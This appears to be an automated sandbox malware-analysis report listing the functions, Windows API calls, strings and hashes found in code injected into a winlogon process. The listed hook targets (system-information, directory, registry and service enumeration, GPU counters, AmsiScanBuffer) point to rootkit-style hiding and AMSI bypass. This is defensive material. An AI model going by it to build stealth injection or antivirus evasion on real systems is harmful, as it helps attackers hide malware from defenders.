Part of subcall function 000002D0165E3BC0: VirtualProtectEx.KERNELBASE(?,?,?,?,?,000002D0165E365F), ref: 000002D0165E3C1E
Part of subcall function 000002D0165E3BC0: GetCurrentProcess.KERNEL32(?,?,?,?,?,000002D0165E365F), ref: 000002D0165E3C39
Part of subcall function 000002D0165E3BC0: VirtualProtectEx.KERNELBASE(?,?,?,?,?,000002D0165E365F), ref: 000002D0165E3C5A

CreateThread.KERNELBASE ref: 000002D0165E368F

Part of subcall function 000002D0165E1D40: GetCurrentThread.KERNEL32 ref: 000002D0165E1D4B

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: f925565bd7d4be1ed18a10d933f5cc473e240d0c1127f16e8bee8d0f787d3ad7
Instruction ID: cb990258ece807ccee5563a4393ff2456787588b0a0e4b09880717b483ecbb5f
Opcode Fuzzy Hash: f925565bd7d4be1ed18a10d933f5cc473e240d0c1127f16e8bee8d0f787d3ad7
Instruction Fuzzy Hash: B9115230A106C181FF709BF0ACCD399A695BB64345FD04127D50E456F6DF7ACE488A00

Function 000002D0165E5220 Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 000002D0165E5224
VirtualProtect.KERNEL32 ref: 000002D0165E5267
FlushInstructionCache.KERNEL32 ref: 000002D0165E527C

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: CacheCurrentFlushInstructionProcessProtectVirtual
String ID:
API String ID: 3733156554-0
Opcode ID: c4bf4fdd1f139f7af51c663d4a05522b228e983f2573c9d1742d6a00230fc506
Instruction ID: 2cedec1f4289c30b6c331ced25801c0d626d4383081f33ab3ac7db6053c34f55
Opcode Fuzzy Hash: c4bf4fdd1f139f7af51c663d4a05522b228e983f2573c9d1742d6a00230fc506
Instruction Fuzzy Hash: 68F03026618B84C0DB30EB81EC8535EA7A0F3987D4F940117FA8D03B79DB3ACA80CB00

Function 000002D0165E1AC8 Relevance: 1.6, APIs: 1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000002D0165E1628: GetProcessHeap.KERNEL32 ref: 000002D0165E1633
Part of subcall function 000002D0165E1628: HeapAlloc.KERNEL32 ref: 000002D0165E1642
Part of subcall function 000002D0165E1628: RegOpenKeyExW.KERNELBASE ref: 000002D0165E16B2
Part of subcall function 000002D0165E1628: RegOpenKeyExW.KERNELBASE ref: 000002D0165E16DF
Part of subcall function 000002D0165E1628: RegCloseKey.ADVAPI32 ref: 000002D0165E16F9
Part of subcall function 000002D0165E1628: RegOpenKeyExW.KERNELBASE ref: 000002D0165E1719
Part of subcall function 000002D0165E1628: RegCloseKey.KERNELBASE ref: 000002D0165E1734
Part of subcall function 000002D0165E1628: RegOpenKeyExW.KERNELBASE ref: 000002D0165E1754
Part of subcall function 000002D0165E1628: RegCloseKey.ADVAPI32 ref: 000002D0165E176F
Part of subcall function 000002D0165E1628: RegOpenKeyExW.KERNELBASE ref: 000002D0165E178F
Part of subcall function 000002D0165E1628: RegCloseKey.ADVAPI32 ref: 000002D0165E17AA
Part of subcall function 000002D0165E1628: RegOpenKeyExW.KERNELBASE ref: 000002D0165E17CA

SleepEx.KERNELBASE ref: 000002D0165E1AE3

Part of subcall function 000002D0165E1628: RegCloseKey.ADVAPI32 ref: 000002D0165E17E5
Part of subcall function 000002D0165E1628: RegOpenKeyExW.KERNELBASE ref: 000002D0165E1805
Part of subcall function 000002D0165E1628: RegCloseKey.ADVAPI32 ref: 000002D0165E1820
Part of subcall function 000002D0165E1628: RegOpenKeyExW.KERNELBASE ref: 000002D0165E1840
Part of subcall function 000002D0165E1628: RegCloseKey.ADVAPI32 ref: 000002D0165E185B
Part of subcall function 000002D0165E1628: RegOpenKeyExW.KERNELBASE ref: 000002D0165E187B
Part of subcall function 000002D0165E1628: RegCloseKey.ADVAPI32 ref: 000002D0165E1896
Part of subcall function 000002D0165E1628: RegCloseKey.KERNELBASE ref: 000002D0165E18A0

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: CloseOpen$Heap$AllocProcessSleep
String ID:
API String ID: 948135145-0
Opcode ID: 65153283aa6c96ced916157d2f86422634ff98b4549c9c2683df96b80b9c3d6c
Instruction ID: 66e44494c7f656fe3ce444e5f8e737549d0e8d4baeb9513a9da4fbab288e4862
Opcode Fuzzy Hash: 65153283aa6c96ced916157d2f86422634ff98b4549c9c2683df96b80b9c3d6c
Instruction Fuzzy Hash: 20310561E1068142FF709BA6DDD83EEB2A9AB84BC6F8450239E0D877B5EE15CD50C350

Non-executed Functions

Function 000002D0165E2BF4 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 256
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 000002D0165E2C98
lstrlenW.KERNEL32 ref: 000002D0165E2EC2

Part of subcall function 000002D0165E1934: OpenProcess.KERNEL32 ref: 000002D0165E195A
Part of subcall function 000002D0165E1934: K32GetModuleFileNameExW.KERNEL32 ref: 000002D0165E1978
Part of subcall function 000002D0165E1934: PathFindFileNameW.SHLWAPI ref: 000002D0165E1987
Part of subcall function 000002D0165E1934: lstrlenW.KERNEL32 ref: 000002D0165E1993
Part of subcall function 000002D0165E1934: StrCpyW.SHLWAPI ref: 000002D0165E19A6
Part of subcall function 000002D0165E1934: CloseHandle.KERNEL32 ref: 000002D0165E19B4

GetProcAddress.KERNEL32 ref: 000002D0165E2CAD

Part of subcall function 000002D0165E3C74: StrCmpNIW.SHLWAPI(?,?,?,000002D0165E254B), ref: 000002D0165E3C8C

StrCmpNIW.SHLWAPI ref: 000002D0165E2CF0
lstrlenW.KERNEL32 ref: 000002D0165E2E18

Strings

\Device\Nsi, xrefs: 000002D0165E2CE3
ntdll.dll, xrefs: 000002D0165E2C91
NtQueryObject, xrefs: 000002D0165E2CA3

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: eeb4c9d13e4d9331326a316f022dbcf34e2f04a28c739e06152b1c27ab991b03
Instruction ID: 5e41e87b92a480212ae126d1164da57dd18493b5820a26e260cb34e0e6ffb87d
Opcode Fuzzy Hash: eeb4c9d13e4d9331326a316f022dbcf34e2f04a28c739e06152b1c27ab991b03
Instruction Fuzzy Hash: EFB17366210AE589EF648FA5DD897A9F3A4FB44BC4F849017EE0D537A8DB36CE40C740

Function 000002D0165E81C0 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000002D0165E81DC
RtlCaptureContext.NTDLL ref: 000002D0165E8209
RtlLookupFunctionEntry.NTDLL ref: 000002D0165E8223
RtlVirtualUnwind.NTDLL ref: 000002D0165E8264
IsDebuggerPresent.KERNEL32 ref: 000002D0165E82B8
SetUnhandledExceptionFilter.KERNEL32 ref: 000002D0165E82D9
UnhandledExceptionFilter.KERNEL32 ref: 000002D0165E82E4

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 83b7811ed3dfc20f87799ca4d6a8862c7cd88f8e2de3ef0f3c1075f59fefca25
Instruction ID: 3f62921a25067518e1bfaa809f1cb7c698419ab88e171b7c7778bf021c1d484d
Opcode Fuzzy Hash: 83b7811ed3dfc20f87799ca4d6a8862c7cd88f8e2de3ef0f3c1075f59fefca25
Instruction Fuzzy Hash: BC314F72205BC08AEB609FA0EC947ED7374F784744F84442ADA4E57BA4DF39CA48C710

Function 000002D0165ED6D4 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000002D0165ED74D
RtlLookupFunctionEntry.NTDLL ref: 000002D0165ED765
RtlVirtualUnwind.NTDLL ref: 000002D0165ED7A0
IsDebuggerPresent.KERNEL32 ref: 000002D0165ED7D9
SetUnhandledExceptionFilter.KERNEL32 ref: 000002D0165ED7E3
UnhandledExceptionFilter.KERNEL32 ref: 000002D0165ED7EE

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 73b818fc325fecaacad8de34b866da11aee815d79a746152a1b7109c0a3c76cf
Instruction ID: e5481f02f8261cb671bd9619e00b5a5215ab25be7af4c76cbfe084d40dae703c
Opcode Fuzzy Hash: 73b818fc325fecaacad8de34b866da11aee815d79a746152a1b7109c0a3c76cf
Instruction Fuzzy Hash: 3C315F36214FC086EB60CFA5EC8439E73A4F788754F940226EA9D47BA4DF39CA55CB00

Function 000002D0165E1D40 Relevance: 31.6, APIs: 1, Strings: 17, Instructions: 80
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000002D0165E1D4B

Part of subcall function 000002D0165E20C4: GetModuleHandleA.KERNEL32(?,?,?,000002D0165E1D7D), ref: 000002D0165E20DC
Part of subcall function 000002D0165E20C4: GetProcAddress.KERNEL32(?,?,?,000002D0165E1D7D), ref: 000002D0165E20ED

Part of subcall function 000002D0165E5F60: GetCurrentThreadId.KERNEL32 ref: 000002D0165E5F9B

Strings

NtDeviceIoControlFile, xrefs: 000002D0165E1E82
advapi32.dll, xrefs: 000002D0165E1E23, 000002D0165E1E44
NtEnumerateKey, xrefs: 000002D0165E1DE5
AmsiScanBuffer, xrefs: 000002D0165E1EDE
EnumServiceGroupW, xrefs: 000002D0165E1E1C
amsi.dll, xrefs: 000002D0165E1EE5
EnumServicesStatusExW, xrefs: 000002D0165E1E3D, 000002D0165E1E5E
PdhGetFormattedCounterArrayW, xrefs: 000002D0165E1EBD
pdh.dll, xrefs: 000002D0165E1EA3, 000002D0165E1EC4
NtQuerySystemInformation, xrefs: 000002D0165E1D71
NtResumeThread, xrefs: 000002D0165E1D8E
NtQueryDirectoryFile, xrefs: 000002D0165E1DAB
PdhGetRawCounterArrayW, xrefs: 000002D0165E1E9C
sechost.dll, xrefs: 000002D0165E1E65
NtQueryDirectoryFileEx, xrefs: 000002D0165E1DC8
ntdll.dll, xrefs: 000002D0165E1D59
NtEnumerateValueKey, xrefs: 000002D0165E1E02

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: AmsiScanBuffer$EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$PdhGetFormattedCounterArrayW$PdhGetRawCounterArrayW$advapi32.dll$amsi.dll$ntdll.dll$pdh.dll$sechost.dll
API String ID: 4175298099-4225371247
Opcode ID: 89246b417a86cb3eef481aa141f8dfd28da3205d5bec25beb87351269da72666
Instruction ID: 42fe4f969bd3097bf71423927041cf8a4865869a26dc220f04bef47a29d86233
Opcode Fuzzy Hash: 89246b417a86cb3eef481aa141f8dfd28da3205d5bec25beb87351269da72666
Instruction Fuzzy Hash: 38416EA11009CAA4EF04EFE4ECEA7D46365BB40394FC09567A52D031B9AE7ACF4ED351

Function 000002D0165E12BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002D0165E1319
GetProcessHeap.KERNEL32 ref: 000002D0165E1327
HeapAlloc.KERNEL32 ref: 000002D0165E1338
RegEnumValueW.ADVAPI32 ref: 000002D0165E1397

Part of subcall function 000002D0165E152C: StrCmpIW.SHLWAPI ref: 000002D0165E155D

GetProcessHeap.KERNEL32 ref: 000002D0165E13DF
HeapAlloc.KERNEL32 ref: 000002D0165E13ED
GetProcessHeap.KERNEL32 ref: 000002D0165E140A
HeapFree.KERNEL32 ref: 000002D0165E1418
lstrlenW.KERNEL32 ref: 000002D0165E1421
GetProcessHeap.KERNEL32 ref: 000002D0165E142F
HeapAlloc.KERNEL32 ref: 000002D0165E143D
StrCpyW.SHLWAPI ref: 000002D0165E145F
GetProcessHeap.KERNEL32 ref: 000002D0165E1476
HeapFree.KERNEL32 ref: 000002D0165E1484

Strings

d, xrefs: 000002D0165E135A

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: cc1628f5bdf40f209b9d07d80321b7de87e74088023d72a2e45934eb7399fe90
Instruction ID: 8535c3407c90ca8d0a1e78cd43edddb1639353b3d75649769dad88b98a535dd3
Opcode Fuzzy Hash: cc1628f5bdf40f209b9d07d80321b7de87e74088023d72a2e45934eb7399fe90
Instruction Fuzzy Hash: 55514072200B9486EB64CFA2E88C79AB7A1F788F99F444126DA4D07768DF3CC949C710

Function 000002D016586D40 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002D016586D68
__scrt_acquire_startup_lock.LIBCMT ref: 000002D016586DBA
_RTC_Initialize.LIBCMT ref: 000002D016586DE8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002D016586E0E
__scrt_release_startup_lock.LIBCMT ref: 000002D016586E39

Strings

restrict(, xrefs: 000002D016586E17
ned, xrefs: 000002D016586E1E
destructor', xrefs: 000002D016586F69, 000002D016586FE2, 000002D01658701C

Memory Dump Source

Source File: 00000032.00000003.2231390678.000002D016580000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002D016580000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_3_2d016580000_winlogon.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: destructor'$ned$restrict(
API String ID: 190073905-924718728
Opcode ID: c075132b8ffb7c8aa12930f0dbbf7461f30bd8bef12e3c9d76da9105ae1b8dff
Instruction ID: 10352f3621cfb05593126c12a9e106e399346f652ce8e41f9483bb92b936fa18
Opcode Fuzzy Hash: c075132b8ffb7c8aa12930f0dbbf7461f30bd8bef12e3c9d76da9105ae1b8dff
Instruction Fuzzy Hash: B981D3216102D286FB609BE79CCD36E23D8AB95788FD44027AA0D47FB6EF39CD518710

Function 000002D0165ED258 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,?,000002D0165F0E9B,?,?,?,000002D0165F088C,?,?,?,000002D0165ECC7F), ref: 000002D0165ED267
FlsGetValue.KERNEL32(?,?,?,000002D0165F0E9B,?,?,?,000002D0165F088C,?,?,?,000002D0165ECC7F), ref: 000002D0165ED27C
FlsSetValue.KERNEL32(?,?,?,000002D0165F0E9B,?,?,?,000002D0165F088C,?,?,?,000002D0165ECC7F), ref: 000002D0165ED29D
FlsSetValue.KERNEL32(?,?,?,000002D0165F0E9B,?,?,?,000002D0165F088C,?,?,?,000002D0165ECC7F), ref: 000002D0165ED2CA
FlsSetValue.KERNEL32(?,?,?,000002D0165F0E9B,?,?,?,000002D0165F088C,?,?,?,000002D0165ECC7F), ref: 000002D0165ED2DB
FlsSetValue.KERNEL32(?,?,?,000002D0165F0E9B,?,?,?,000002D0165F088C,?,?,?,000002D0165ECC7F), ref: 000002D0165ED2EC
SetLastError.KERNEL32(?,?,?,000002D0165F0E9B,?,?,?,000002D0165F088C,?,?,?,000002D0165ECC7F), ref: 000002D0165ED307
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,000002D0165F0E9B,?,?,?,000002D0165F088C,?,?,?,000002D0165ECC7F), ref: 000002D0165ED33D
FlsSetValue.KERNEL32(?,?,00000001,000002D0165EF0FC,?,?,?,?,000002D0165EC3CF,?,?,?,?,?,000002D0165E7EE0), ref: 000002D0165ED35C

Part of subcall function 000002D0165EDAFC: HeapAlloc.KERNEL32(?,?,00000000,000002D0165ED432,?,?,?,000002D0165EDAE5,?,?,?,?,000002D0165EDBA8), ref: 000002D0165EDB51

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002D0165F0E9B,?,?,?,000002D0165F088C,?,?,?,000002D0165ECC7F), ref: 000002D0165ED384

Part of subcall function 000002D0165EDB74: HeapFree.KERNEL32(?,?,?,?,?,?,?,000002D0165E643A), ref: 000002D0165EDB8A
Part of subcall function 000002D0165EDB74: GetLastError.KERNEL32(?,?,?,?,?,?,?,000002D0165E643A), ref: 000002D0165EDB94

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002D0165F0E9B,?,?,?,000002D0165F088C,?,?,?,000002D0165ECC7F), ref: 000002D0165ED395
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002D0165F0E9B,?,?,?,000002D0165F088C,?,?,?,000002D0165ECC7F), ref: 000002D0165ED3A6

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: ed67185a8b28226d4ae9e946df9fda9d74e56255075e212544000e561ebf9f9b
Instruction ID: 43972d606b00cc2be28d3e2c33b0ce1b5ff9d5d7083995bf257bda57e6b2045b
Opcode Fuzzy Hash: ed67185a8b28226d4ae9e946df9fda9d74e56255075e212544000e561ebf9f9b
Instruction Fuzzy Hash: 1C4185223452C442FF58A7F95DDD36DE2425B497B0FD4572BA83E0A7F6DE2ACE418200

Function 000002D0165E2FAC Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 74
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PdhGetCounterInfoW.PDH ref: 000002D0165E3001
GetProcessHeap.KERNEL32 ref: 000002D0165E3016
HeapAlloc.KERNEL32 ref: 000002D0165E3024
PdhGetCounterInfoW.PDH ref: 000002D0165E303A
StrCmpW.SHLWAPI ref: 000002D0165E304F

Part of subcall function 000002D0165E3554: StrCmpNW.SHLWAPI ref: 000002D0165E3576
Part of subcall function 000002D0165E3554: StrStrW.SHLWAPI ref: 000002D0165E3594
Part of subcall function 000002D0165E3554: StrToIntW.SHLWAPI ref: 000002D0165E35BB

GetProcessHeap.KERNEL32 ref: 000002D0165E308C
HeapFree.KERNEL32 ref: 000002D0165E309A

Strings

\GPU user(*)\Running Time, xrefs: 000002D0165E3048

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU user(*)\Running Time
API String ID: 1943346504-1805530042
Opcode ID: 7a97016342490a0645e117d0aabf47d1727a4fd40327ed8f0cace4092c4eefd3
Instruction ID: 9399f2a70220d5fc83846a100c734f2598ba77da802c8d91112e16fcd82e6b36
Opcode Fuzzy Hash: 7a97016342490a0645e117d0aabf47d1727a4fd40327ed8f0cace4092c4eefd3
Instruction Fuzzy Hash: D2319332A04A9086FB20CFA2AC8C759F3A0F788B95F844566DE4D43A75DF38CA558740

Function 000002D0165E30BC Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PdhGetCounterInfoW.PDH ref: 000002D0165E311A
GetProcessHeap.KERNEL32 ref: 000002D0165E312B
HeapAlloc.KERNEL32 ref: 000002D0165E3139
PdhGetCounterInfoW.PDH ref: 000002D0165E314F
StrCmpW.SHLWAPI ref: 000002D0165E3164

Part of subcall function 000002D0165E3554: StrCmpNW.SHLWAPI ref: 000002D0165E3576
Part of subcall function 000002D0165E3554: StrStrW.SHLWAPI ref: 000002D0165E3594
Part of subcall function 000002D0165E3554: StrToIntW.SHLWAPI ref: 000002D0165E35BB

GetProcessHeap.KERNEL32 ref: 000002D0165E3191
HeapFree.KERNEL32 ref: 000002D0165E319F

Strings

\GPU user(*)\Utilization Percentage, xrefs: 000002D0165E315D

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU user(*)\Utilization Percentage
API String ID: 1943346504-3507739905
Opcode ID: a4d014078471b981586e837c2868b443f3fcdd08967b9f8fe30d7546c34e5f89
Instruction ID: b0b4c6f7df39834c1d93ccae1f79ff724c4c6fff3a16477284ecea33b86cda3e
Opcode Fuzzy Hash: a4d014078471b981586e837c2868b443f3fcdd08967b9f8fe30d7546c34e5f89
Instruction Fuzzy Hash: 5D316D21A14B9186FB54DFA6ACCCB59B3A0B784F85F84412A9E8E43775DF38CD458700

Function 000002D016589D74 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000002D016589DD1

Part of subcall function 000002D01658AC44: __GetUnwindTryBlock.LIBCMT ref: 000002D01658AC87
Part of subcall function 000002D01658AC44: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000002D01658ACAC

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000002D016589EA9
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000002D01658A0FE
std::bad_alloc::bad_alloc.LIBCMT ref: 000002D01658A20A

Strings

csm, xrefs: 000002D016589DEB
csm, xrefs: 000002D016589E52
csm, xrefs: 000002D016589ECC

Memory Dump Source

Source File: 00000032.00000003.2231390678.000002D016580000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002D016580000, based on PE: true

